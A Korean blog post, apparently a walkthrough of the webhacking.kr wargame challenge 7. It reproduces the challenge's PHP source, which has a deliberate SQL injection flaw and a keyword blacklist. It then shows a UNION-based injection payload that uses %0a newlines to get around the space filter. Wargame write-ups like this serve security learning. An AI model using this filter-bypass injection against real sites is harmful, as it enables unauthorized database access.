webhackingkr 7번

Webhackingkr 2015. 3. 5. 17:14

처음 문제에 들어가면 아래와 같은 오브젝트가 보인다.


일단 눌러보니 아래와 같은 얼럿창이 발생한다.


이전 문제들에서도 그랬듯(1번부터 차례대로 풀어왔다면) 무조건 얼럿창이 뜨는 구조인 것 같아 소스를 확인해본다.

<html>
<head>
<title>Challenge 7</title>
</head>
<body>
<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p><input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p><!-- admin mode : val=2 -->
<!--
index.phps
-->
</body>
</html>



예상대로 버튼은 얼럿창을 띄우는 용도만 있고, 행동은 php에 ?로 인자를 전달해야 할 것 같다.

단서는 없지만 웹해킹kr은 친절하게 힌트를 주기 때문에 저기 대놓고 있는 .phps파일에 소스가 있을 것이라 추측하고 열어본다.

아래는 index.phps 파일의 소스이다.

<html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer 
"????";

$go=$_GET[val];

if(!
$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo(
"<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(
eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(
eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if(
$rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if(
$rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if(
$rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if(
$rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if(
$rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!
$data[0]) { echo("query error"); exit(); }
if(
$data[0]!=&& $data[0]!=2) { exit(); }


if(
$data[0]==1)
{
echo(
"<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>"
);
echo(
"<!-- admin mode : val=2 -->");
}

if(
$data[0]==2)
{
echo(
"<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>"
);
@
solve();





?>

<!--

index.phps

-->



</body>

</html>

대충 읽어보니 *,/,스페이스 3가지가 막혀있는 구조이고, union을 이용하라고 써있다.

또한 @solve() 함수가 실행되기 위해서는 '2'값을 전달해 주어야 할 것 같다.

union의 특성을 이용해서 쿼리에서 처리하지 않는 값 하나와 '2'값을 넣어주자.

간단하게 아래와 같이 구현해 보았다.

val=3)%0aunion%0aselect%0a(5-3

* %0a는 스페이스가 입력되지 않기에, 우회용으로 삽입함

* 입력은 http://webhacking.kr/challenge/web/web-07/index.php?val=3)%0aunion%0aselect%0a(5-3 로 해보자.


가운데에 러시안룰렛(;;)이 있기에 몇번 입력해야 한다. 성공메시지를 확인하고 클리어.




'Webhackingkr' 카테고리의 다른 글

webhackingkr 8번  (0) 2015.03.05
webhackingkr 6번  (0) 2015.03.04
Posted by 튼튼한노예
,